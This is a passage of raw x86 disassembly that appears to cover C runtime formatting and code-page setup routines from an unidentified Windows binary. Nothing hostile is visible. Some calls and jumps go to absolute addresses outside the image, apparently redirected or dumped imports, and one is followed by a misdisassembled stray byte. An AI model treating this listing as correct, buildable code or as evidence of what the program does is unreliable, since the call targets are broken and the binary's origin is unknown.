		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1

loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43C540
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------

loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1

loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43C8D0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8DC
		pop	ecx

loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8D4
		pop	ecx

loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi

loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi

loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------

loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43C540
		mov	[ebp+var_8], ecx

loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx

loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------

loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8

loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7

loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------

loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------

loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------

loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx

loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h

loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah

loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------

loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax

loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------

loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------

loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------

loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx

loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03

loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------

loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx

loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0

loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------

loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h

loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0

loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax

loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E

loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]

loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------

loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9

loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h

loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax

loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------

loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------

loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h

loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1

loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h

loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h

loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]

loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------

loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h

loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h

loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB

loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------

loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]

loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26

loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]

loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C

loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DC704
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43C550

loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43C640
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 28D0000h
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC820
		cmp	[ebp+var_18], 1
		mov	dword_4DC704, esi
		rep stosd
		stosb
		mov	dword_4DC924, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]

loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl

loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DC821[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------

loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC820
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43C560[esi]

loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2

loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43C548[edx]

loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DC821[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90

loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76

loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DC71C, 1
		push	eax
		mov	dword_4DC704, eax
		call	sub_42008C
		lea	esi, dword_43C554[esi]
		mov	edi, offset dword_4DC710
		movsd
		movsd
		pop	ecx
		mov	dword_4DC924, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------

loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30

loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax

loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DC821[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DC924, eax
		mov	dword_4DC71C, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------

loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DC71C, ebx

loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DC710
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------

loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB330, ebx
		jz	short loc_42003A

loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF

loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8

loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------

loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh

loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB330, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB330, 1
		jmp	near ptr 26508D5h
; ---------------------------------------------------------------------------
		db 1Bh
; ---------------------------------------------------------------------------

loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB330, 1
		nop
		jmp	near ptr 28D066Fh
; ---------------------------------------------------------------------------

loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DB374
		mov	dword_4DB330, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DC820
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DC710
		mov	dword_4DC704, eax
		mov	dword_4DC71C, eax
		mov	dword_4DC924, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DC704
		nop
		call	near ptr 28D0000h
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h

loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]

loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx

loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DC924
		push	dword_4DC704
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DC704
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DC924
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DC704
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DC924
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]

loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DC821[eax], 10h
		mov	dl, [ebp+eax+var_214]

loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DC720[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------

loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DC821[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------

loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DC720[eax], 0

loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------

loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h

loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DC821[eax], 10h
		mov	cl, al
		add	cl, 20h

loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DC720[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------

loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DC821[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------

loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DC720[eax], 0

loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228

